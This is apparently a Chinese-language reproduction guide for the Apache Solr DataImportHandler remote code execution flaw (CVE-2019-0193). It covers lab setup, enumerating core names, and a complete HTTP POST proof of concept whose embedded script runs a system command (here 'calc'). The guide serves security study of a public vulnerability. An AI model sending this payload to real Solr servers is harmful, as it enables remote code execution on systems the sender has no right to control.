Apache Solr 遠程命令執行漏洞(CVE-2019-0193)
聲明:本篇文章僅限用於學習信息安全技術,請勿用於非法途徑!
1.漏洞描述
2019年8月1日,Apache Solr官方發佈了CVE-2019-0193漏洞預警,漏洞危害評級爲嚴重。當solr開啓了DataImportHandler功能,該模塊中的DIH配置都可以通過外部請求dataconfig參數進行修改,DIH可包含腳本,因此,會存在遠程代碼執行漏洞。
2.影響範圍
Apache Solr < 8.2.0
3.漏洞利用
(1)下載與啓動
https://www-eu.apache.org/dist/lucene/solr/
使用清華大學鏡像下載,速度很快:
http://mirrors.tuna.tsinghua.edu.cn/apache/lucene/solr/7.7.2/solr-7.7.2.zip
下載解壓後,進入此目錄下的bin目錄,啓動solr命令: solr -e dih
停止solr命令:solr stop -all
(2)獲取name信息
訪問http://localhost:8983/solr/#/
通過接口來獲取所有 core 信息,因爲我們構造 payload 需要 name 信息。
http://127.0.0.1:8983/solr/admin/cores
(3)彈出計算器
在Burp中發送以下POC即可執行命令彈出計算器,如下所示:
POST /solr/atom/dataimport HTTP/1.1
Host: 127.0.0.1:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Connection: close
Content-Length: 492
Content-type: application/x-www-form-urlencoded
command=full-import&verbose=false&clean=false&commit=true&debug=true&core=atom&name=dataimport&dataConfig=
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(row){
var process= java.lang.Runtime.getRuntime();
process.exec("calc");
return row;
}
]]></script>
<document>
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />
</document>
</dataConfig>